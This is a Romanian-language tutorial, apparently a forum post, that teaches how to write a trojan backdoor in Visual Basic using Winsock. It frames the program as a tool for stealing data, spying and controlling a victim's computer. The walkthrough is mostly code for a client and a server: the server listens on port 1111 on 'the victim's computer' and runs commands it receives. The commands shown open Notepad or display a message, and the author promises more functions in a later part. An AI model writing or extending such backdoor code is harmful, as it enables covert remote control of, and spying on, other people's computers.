Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 . Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server Winsock1.Connect ' Conectam clientul la server End Sub In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If End Sub Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" End If End Sub Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori . Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc . Sper ca ati inteles .